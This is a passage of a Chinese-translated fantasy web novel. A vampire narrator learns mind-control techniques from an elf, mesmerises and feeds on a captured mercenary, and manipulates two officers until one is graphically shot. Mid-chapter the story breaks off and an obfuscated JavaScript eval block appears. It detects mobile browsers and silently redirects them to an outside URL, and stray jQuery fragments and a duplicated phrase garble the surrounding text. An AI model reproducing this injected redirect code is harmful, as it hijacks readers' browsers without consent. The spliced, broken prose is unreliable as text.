“这是什么？”我一边说着，一边走下马车。


    此刻，我们身处一片偏僻的草地中央。除了洛斯（Loth）那移动的堡垒，还有另一辆马车，那是一辆过时但坚固的老式四轮马车。


    “这是你的座驾。你知道的，我得把阿斯尼（Asni）和那辆货车留在身边。”


    “是是，我说的是那个人。”


    一个囚犯跪在洛斯和道尔顿（Dalton）中间。西尼德（Sinead）站在一百步开外，正忙着在笔记本上画一堆东西。从气味判断，我猜那是腐肉。


    “信不信由你，我们遭遇了强盗。我们想着你或许想吃点‘早餐’。”


    那俘虏惊讶地瞪大了眼睛。让人专门为我抓个人来吃，这习惯可不好养成，但我也不想浪费这个人的性命。我想，偶尔放纵一次也无妨。


    我走近些，仔细打量着这个人的模样。


    这是某种考验吗？


    “怎么了，阿里（Ari）？”


    “亲爱的洛斯，别告诉我你没发现哪里不对劲？这个人根本不是强盗。”


    “太棒了。”微风低语道。


    我们都转头看向西尼德，他正向我们走来。


    “我还担心你会直接忽略掉呢，暗夜行者（Nightwalker）。很高兴你没有。作为我们安全通行协议的一部分，我觉得我还欠你一些信息，所以我决定临时给你上一课。就当是对你昨天及时相助的感谢吧。”


    这个精灵把书和笔收进衣兜，双手撑在腰后，转向我。他身上散发着一种强烈的气场和热情，即使他身形消瘦，也无法掩盖这股气质。他微笑着，像只吃饱喝足的猫一样得意。


    “诡计、谎言和欺骗，这些是你们这类人的最强武器。推动国家间相互对抗的，不是你们的武力，而是一封恰到好处的信件、一段无果的爱情，或者是在关键时刻说出的一个词。我们都明白为什么会这样，不是吗？”


    因为倘若不是如此，我们就会迷失自我，最终死在团结一致的人类手中。不过，这话没必要说出口。


    “那么，那些阴谋诡计是如何被揭穿的呢？就像扯掉一根线头。找到一处破绽，揭露一个阴谋者，整个计划就会像纸牌屋一样轰然倒塌。这难道不令人兴奋吗？耐心与精心策划，对抗着猜疑与观察，这是秘密战场上永恒的平衡。告诉大家吧，暗夜中的居民。告诉我们你看到了什么。然后我会指导你下一步该怎么做。”


    我不太想顺着他的意思，但又很渴望从他的经验中学习。


    “这个人身上有肥皂味，衣服虽然皱巴巴的，但很干净。他的胡须修剪得整整齐齐，我还能闻到发蜡的味道，而且是很贵的那种。对于一个长期在恶劣环境中生活的人来说，他的皮肤太健康了。最后，他的自律令人钦佩。他曾是军人，现在住在城里，是个雇佣兵。”


    “完全正确！再看看他干净的鞋子。新手总是在鞋子上露出破绽。还有那些枪！太贵了，也太新了。强盗团伙可弄不到这么统一的装备。不，我们是被故意袭击的。”


    道尔顿和洛斯只是短暂地惊讶了一下。很快，他们的眼神变得充满算计，而我们的囚犯则从恐惧变成了极度的惊恐。


    “在你们这两个可爱的笨蛋拿出钳子和热炭之前，我希望你们能有点耐心。我想教这位小姐一些暗示的精妙技巧。”


    哦，这肯定很有意思。


    “在这个该死的世界上，最让我恼火的，不是你们这类人奴役了我的族人，甚至也不是我没能恢复真正的力量，好把那些囚禁我的人永远变成颤抖的肉块。真正让我生气的是，你们的心智操控技巧是如此原始和可悲。你们存在了几千年，本应该想出一些有趣的东西，结果却还是一塌糊涂！我知道好的技巧对凡人来说是浪费，但看在艺术的份上！你们不应该满足于平庸！所以，我非常高兴能向你介绍这项最神圣的技艺。那么，暗夜行者，你如何看待自己的魅惑能力呢？”


    “就像一根绳子。”


    西尼德顿时露出一副高高在上的神情。我得好好学学画画，这样就能把他脸上的傲慢神态画下来，以后要是想吃了他，也能有个参照。


    “一根绳子。真的。我本来就没抱什么期望，可还是失望了。好吧，你有没有注意到，当你进行操控的时候，这根绳子会发生变化？”


    “有。它有时强有时弱，有时紧绷有时松弛，而且在压力下还会磨损，就像我对无礼行为的容忍度一样。”


    “没错，嗯，有道理。显然，联系的强度反映了关系的深度。时间和真诚的关怀比蛮力更能提升它。当你强迫你的目标做违背他们意愿的事情时，绳子就会出现磨损。要求越不合理、越荒谬，他们的反抗就越强烈。哪怕是最脆弱的人类心智，如果你让他们去杀自己的孩子，他们也会反抗。”


    希望他不是在说自己的亲身经历，那就太恶心了。


    “如果你集中注意力，就会注意到你那……绳子上有颜色和图案。它们是情感的印记。并非所有的联系都是一样的。我发现爱能战胜一切，不过恐惧也紧随其后。现在，说回基础。你认为操控中最重要的是什么？”


    “巧妙？”


    “错了，但也不算完全离题。答案是：对方。你不是在刺杀目标，而是在创作一幅杰作。即使是对同一个人进行操控，每次的情况也都不一样。你需要在一定程度上了解你的目标，才能获得最佳效果。一次成功的操控，九分靠口才，一分靠魔法。没有口才，你甚至都不知道该问什么问题才最合适。”


    “我举个例子。你，我的下属，你会问我们这位客人的第一个问题是什么？”


    “嗯，你有同伙吗？他们会来这儿吗？”


    “还不错！我给你打三分。正确的问题应该是：我现在有危险吗？你凭什么认为你说的‘同伙’是唯一威胁你生命的因素呢？嗯？你叫什么名字，小伙子？我该怎么称呼你？”


    这个人挣扎了一下，最后还是觉得这也不是什么不能说的重要信息。


    “亨德里克斯（Hendricks），先生。”


    “亨德里克斯，你觉得我现在有危险吗？”


    对方沉默不语。


    “或许有一点，嗯？”


    这个人不情愿地点了点头。


    “就算有刀也救不了你。你看到我们战斗了。你觉得自己能快到抓住人质吗？显然不能。现在，乖一点，把刀扔到地上。”


    当一把打开的直剃刀从俘虏被绑着的手中掉落时，道尔顿脸色变得苍白。洛斯似乎有点不高兴。


    “等回去后，我首先要教你的就是怎么好好搜身。”


    “对不起，先生。”


    “好了，好了，别分心！记住，要问开放式的问题！别让你的先入之见妨碍你探寻真相。不要只问一朵花的情况，而应该询问整束花。”


    “你们到底在对我做什么？！”雇佣兵惊恐地问道。


    西尼德打量了他一秒钟，仿佛才想起来这是个活生生的人，而不只是他用来演示的工具。这个木偶怎么敢擅自开口？


    在事情进一步发展之前，我走上前去，和他对视。


    我亲切地微笑着，把他耳边一缕乱发捋到后面。


    “嘘，别担心，我的朋友们有点古怪，但我会保护你。只要我们得到想要的，你就安全了。你想帮我们，对吧？帮了我们，你就能离开了。”


    “是的……”


    “你叫亨德里克斯，对吧？”


    “是的，女士。”


    “我叫阿里。这里的这些人只是想保护我。你明白吗？”


    “明白，阿里。”


    “你很强壮，也很勇敢。你是军人吗？”


    “是的，女士，在加入这个组织之前，我是一名海军陆战队队员。”


    “海军陆战队队员？那你在船上服役过？”


    “是的，女士，我有幸在‘黄蜂’号航空母舰（USS Wasp）上服役！”


    “真厉害！之后你就加入了‘这个组织’？”


    “是的，女士，七个月前。薪水很不错。我相信你能理解。”


    “那当然！军人的薪水向来不高，就算在战时也是如此，不是吗？”


    “没错，女士。这简直就是耻辱。”


    “我猜你现在的雇主能更好地回报像你这样有才能的人？”


    “是的，他们知道该做什么，也知道该雇谁来做。”


    让他继续说下去，让他一直说“是”，建立起融洽的关系，让他谈论自己。这些都是我从父亲和阿喀琉斯（Achilles）那里学到的。现在我明白了，这才是魅惑的核心。我的催眠能力只是我众多工具中的一个，如果不小心，它可能会变成我的依赖。不过，如果我想推进我们接下来的对话，现在就必须用它。我把手放在他的头两侧。他离我很近了。我凉凉的气息吹动着他的黑发。


    “听起来很危险。”


    “嗯，显然，是很危险……”


    “你被一些不称职的人置于危险之中了，好心的亨德里克斯。”我皱着眉头补充道。


    “是的，我身处危险之中。”


    “他们不知道如何与你合作，也不懂得发挥你的技能。对吧？”


    “对。”


    “你不觉得这很不公平吗？你这么擅长自己的工作，他们却浪费了你的潜力……”


    “对。”


    “真的很不公平。我们得做点什么。我们是朋友，不是吗？”


    “是。”


    “朋友之间会互相保护、互相帮助。对吧？”


    “对，互相保护、互相帮助。”


    “所以，我们应该去找那些派你来这儿的人。”


    “对，他们离这儿不远。”


    “真的？”


    “真的，他们让我们把你带到他们那儿去。”


    “‘我们’指的是……”


    “要么是那个大胡子，要么是那个金发女人。”


    “这就是他们雇你的原因？”


    “是的。”


    “他们露面了？”


    “是的。两个陆军军官，一群混蛋。”


    “我敢说他们看起来很傲慢，觉得自己高人一等。”


    “没错。没错！就因为他们还在服役。好像他们的军衔不是买来的似的！哈！”


    “这地方很荒凉。你们怎么找到他们的？”


    “很简单，阿里，沿着路往西走，直到看到一个有棕色砖墙和一座烧毁谷仓的废弃农场。他们就在那儿等着。”


    “谢谢你，亨德里克斯。先生们？”


    “我想马上和那些‘绅士’聊聊。动作快点。”


    “去吧，姑娘。”


    “祝你用餐愉快，女主人。”


    通常来说，进食是一种私密的体验。但在这种特殊情况下，我迅速而果断地结束了他的生命。


    被三个杀手围着，吸干一个人的生命，这种感觉让人充满力量。尽管吸血的行为会让我变得脆弱，但我并不害怕，因为他们和我是一伙的。在场的人都知道我是什么，并且接受了这一点，好吧，至少那些能活下来的人是接受的。


    我这是在表明态度，而且我很喜欢这种感觉。在这些杀手中，我也是最致命的那个。我的进食行为既展现了我的自信，也体现了我对同伴的信任。


    在过去的一年里，我成长了许多。


    “他们在等我们呢，先生们。我们走吧？”


    “好嘞，姑娘，迫不及待想再见到那些混蛋了。”


    “注意言辞！”


    “知道啦，知道啦。”


    我们是一群有礼貌的怪物。西尼德礼貌地请求坐在我旁边，继续给我上课，可怜的道尔顿只能吃我们扬起的尘土了。


    “别担心，女主人。你一定要尽可能多学点东西！”


    真是个好下属。


    我们在洛斯旁边坐下，西尼德立刻微笑着转向我。


    “你很有天赋，暗夜行者，但你没抓住重点。你太冷酷无情，太注重结果了。魅惑是一门艺术，应该为了享受而为之。啊，我们这个种族在漫长的岁月里创造了多少杰作啊，那些持续了几千年的游戏，赢家往往是那些我们从未怀疑过参与其中的人！回想起来多么令人愉快啊！啊，不过我跑题了。我相信，假以时日，你会明白的。年轻人总是急于获得眼前的回报，而不是追求完美成熟的果实。没关系。现在我来教你如何强行营造一种情绪，然后我们再学习记忆修改和突破防御。这些都是基础。”


    我们花了一个小时互相练习。西尼德就像一个拿着勺子战斗的天才剑客。他的大部分能力都受到了限制，但他的技艺依然无可否认。他的见解极其敏锐，我感觉自己进步得飞快。我觉得他现在就是这个星球上最好的魅惑术老师，我对他的好感也大大提升。直到我们看到了已故的亨德里克斯提到的那座废弃农场，才停了下来。


    “很好。现在让我看看你如何把这些知识运用到下一个目标身上。”


    我们四个人悄悄地穿过农场杂草丛生的边缘。我凭借追踪新鲜汗水和劣质古龙水的气味在前面带路，西尼德则施展了一道只有我们能看见的光。


    不出所料，我们看到拉内斯（Lannes）上尉和他傲慢的下属在一棵大松树的月影下紧张地抽着烟。我能闻到他们焦虑的气息，还夹杂着一丝恐慌。他们就像熟透的果实，正合我意。


    “有人想要他们吗？”我低声问道。


    “我觉得你需要拿他们练练手，女主人，学以致用最容易记住。”


    “我同意这个凡人的说法。”


    “我想看你大展身手，姑娘，可要有趣点哦。”


    我悄悄地绕到他们身后。他们在远处拴着马，更有趣的是，地上还有几支未点燃的火把。


    “我不喜欢这样，他们太久没回来了！”


    “闭嘴，詹金斯（Jenkins）。”


    啊哈！我还不知道另一个蠢货叫什么名字呢。他们背对着我，所以我很轻易地偷走了一支火把和一根火柴。我试了好几次才把火柴点燃，当燃烧硫磺的声音传进他们耳朵里时，他们转过身，正好看到火焰照亮了我苍白的脸。


    两个人都僵住了，手放在手枪上，而我则亲切地微笑着。


    我太喜欢这一刻了，当他们意识到狩猎的性质并非他们所想，意识到自己不再是捕食者的时候。我的獠牙还藏着，爪子也收着，但他们心里明白。在内心深处，他们清楚这一切。


    “怎么这么冷淡啊，先生们？你们不是在等我吗？”


    我一边说着，一边慢慢地走到一旁。我体内的捕食本能教会了我更好的走路方式，而且现在我越来越容易展现出这种技能了。我的步伐稳健而又无声。在公共场合我还是像普通人一样走路，但在这里我就不用了。我知道自己给人的感觉，更加灵活，充满掠夺性，致命危险。


    他们本能地往后退了一步。拉内斯察觉到有些不对劲，他犹豫了。我能听到他惊慌失措的大脑在飞速运转：


    “我们被发现了，雇佣兵也被打败了，但这个女人为什么会在这儿？为什么拿枪指着我的不是洛斯？”


    “我为什么这么害怕？”


    我知道答案。他们敏锐的直觉告诉他们事情不对劲，而他们的社会认知却告诉他们我没有威胁。


    “怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054937|162875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不说话？”


    拉内斯拿出手枪，威胁地扣动了扳机。我和他、詹金斯对视，吸引了他们的注意力。


    按照西尼德的建议，我感受着和他们之间的联系。我还是把它想象成绳子，但这次能看到绳子上有颜色的暗示，也能更清楚地感觉到它的强度。这里面有恐惧，还有轻蔑和不信任。或许我可以强行制造吸引力，但那就违背了这次练习的目的。我来这儿是为了学习如何正确地魅惑别人，就像我这位临时导师说的，这是一门艺术。


    “你被捕了！现在告诉我们洛斯·德莱尼（Loth Delaney）在哪里！”


    詹金斯那边的“绳子”颤动起来，一种新的情绪涌上心头。我很清楚那是什么，是不安和尴尬。


    “被捕？我犯了什么罪，你又凭什么抓我？请问，你像个强盗一样潜伏在黑暗中，还敢说自己在主持正义？”


    “你和你的同伙或许骗过了蒂勒森一家（Tillersons）和大部分驻军，但我心里清楚！你们是最卑鄙的罪犯和叛徒！”


    “所以你是在擅自行动！还雇凶绑架公民，这就是守法公民该做的事？这难道不是二十年前我们的父辈奋力终结的恶行？”


    没错！我就知道，詹金斯并不认同。我轻轻拨动他们心中猜疑的火苗，虽然同时影响两个人有点困难，但我还是凭借耐心和专注做到了。詹金斯小心翼翼地盯着他的长官，慢慢伸手去拿自己的枪。


    “我只是在做保护我们免受外界干扰的必要之事！”


    “你到底在说什么？”


    “别跟我装傻！你们是外国间谍！”


    “这些荒谬的指控都是你凭空捏造的！你没有任何正当理由这样污蔑我们！”


    我在话语中暗藏了一丝暗示，刚好足以让他选择愤怒而非谨慎。


    “谢弗（Schaffer）就是个间谍！”


    什么！？哦，天哪，这又是宾格尔（Bingle）的错！可恶！


    “……谁？”


    “弗洛拉·谢弗！你那个英国无赖跟踪的女人是普鲁士的间谍，你那个所谓的冒险家肯定知道这件事。不然他为什么一路追到这个该死的破地方？”


    “当然是因为爱情，你“当然是因为爱情，你这个怪物。他疯狂地爱着她！”


    甚至不用我刻意引导，詹金斯的不安就已经转化为怀疑。很少有人会把“宾格尔”和“情报”，不管是本国的还是外国的，联系在一起。


    “你这种说法可真奇怪，上尉。你这些秘密行动，可不像是得到政府授权的人会做的！我倒想问问，这些指控从何而来？我猜肯定不是我们自己的间谍提供的消息！”


    “你！我没必要在你这个来历不明的声名狼藉的女人面前为自己辩解！”


    现在，愤怒也出现了，这是为这幅“画作”添上的最后一种原始情绪。只需要轻轻一推，就能让事情一发不可收拾。


    “事实上……”詹金斯说道，“我很想知道你这种想法是从哪儿来的，长官。”


    “你竟敢！”拉内斯怒火中烧，“我不会被你这种人质问！”


    哦，这简直太容易了。


    “我这种人！？”詹金斯愤怒地尖叫道。


    “你太天真了，詹金斯！像我这样的人，是我们国家与暴政之间的屏障。我们是文明的盾牌，抵御着旧世界及其黑暗势力的阴谋诡计！”


    “所以你承认自己参与了一场阴谋！”我欣喜地补充道。


    “这不是阴谋！我们是在保护国家！”


    “在暗中行事，还违背我们的意愿！这就是阴谋！哈！现在谁才是叛徒？”


    “新光兄弟会可不是一群无赖，你这个□□！还有你……”


    拉内斯往后退了一步，远离他的下属，手枪也转向了詹金斯的胸口，但义愤填膺的詹金斯已经受够了。他扑上去，抓住了对方的手臂。两人摔倒在地，一边怒吼，一边挣扎。


    我饶有兴致地看着这一切。不得不承认，在我还没来得及了解更多情况之前，事情就已经失控了，但我不在乎。这……太美妙了。


    一声枪响在树冠下响起，伴随着皮肉被撕裂的声音。


    啊，糟糕？


    詹金斯惊恐地从他上司血肉模糊的身体旁退开。在死寂中，只能听到伤者从破碎的半张脸上发出的咯咯惨叫声。鼻窦和其他腔体都暴露在外，一只眼睛已经从眼眶中被打爆，我眼睁睁地看着，随着每一次心跳，动脉血从那可怕的伤口中喷涌而出。


    啊，真是太可惜了。


    我向前一步，走到詹金斯身边，用他的手枪干净利落地结束了上尉的生命，这是狩猎的要求。


    现在，我要对付一个啜泣着、满心愧疚的人。真是烦人。他想杀你，没成功，然后你杀了他。逻辑很清晰。你们甚至都不是朋友！


    “詹金斯……一切都结束了，冷静点。”


    “结束了，全完了！我杀人了！”


    “不。詹金斯，看着我。对，就这样。你是在自卫，对方还是你曾经信任的人。”


    “哈，”他抽泣着，“在法庭上这有什么用！”


    “不会有法庭的。”


    “什么？但是……我杀了他。”


    “不，是我杀的。是我开的枪。”


    詹金斯停下来思考。我趁机利用这一点，再加上一点暗示，跟他说起阴谋、职责，说拉内斯的同伙绝不能知道他们的计划已经败露，还说了一些关于牺牲、国家利益之类的废话。


    “你说得对，德莱尼小姐，我必须揭露这个邪恶的阴谋！我会回去，秘密展开调查，先从这个叛徒的私人信件入手。但是……尸体怎么办？”


    “我来这里是为了寻找答案，我的同伴们就在不远处。雇佣兵的伏击让他们很生气，我相信你能理解。如果你现在赶紧离开，我应该能说服他们放你走，并且处理好尸体。”


    “但我该怎么跟其他人说呢？”


    “什么都别说。你对这个人的叛逃一无所知。我相信仔细检查他的私人物品会让事情真相大白。”


    “好……好的，你说得对。谢谢你，德莱尼小姐，太感谢你了！我会回去的，如果有什么发现，我会让你和你叔叔知道。我一定会把这件事查个水落石出！再见，德莱尼小姐！塞西莉说得没错，你真是个女英雄。”


    然后，这个勇敢的士兵骑上他的马，疾驰而去。


    女英雄，哈，至少这次他没提到上帝。


    随着马蹄声在远处渐渐消失，我听到了一阵缓慢的掌声。那三个人从灌木丛中走了出来，西尼德面带笑容地走在最前面。


    “精彩的表演，年轻的阿丽亚娜（Ariane）。啊，看到一颗新星崭露头角真是令人愉快。一晚之内就演绎了《假途之计》和《友叛之变》！这可是老阿拉库斯（Arakus）在他著名的文集中提到的五个基本情节中的两个。你只要再经历《单恋之殇》《兄弟阋墙》和《学徒成长》，就完成了我们利卡恩人（Likaeans）一项重要的成长仪式。我非常满意，非常满意！”


    我不知道该做些什么，只能笨拙地行了个屈膝礼。我想这是西尼德第一次没有叫我“暗夜行者”。我就接受这份夸赞吧。


    “今晚我们一起赶路，这样我还能再传授你一些知识，之后我们就分道扬镳。我相信，命运会让我们在未来再次相遇！”


    在离开之前，我们抽签决定谁来埋葬尸体，我输了。看着其他人那无辜的表情，我严重怀疑他们使了诈，但我决定不再追究。毕竟这具尸体是我造成的。在我挖坑掩埋尸体，以及之后赶路的过程中，我尽可能地汲取西尼德的知识，直到黎明来临，我也疲惫不堪。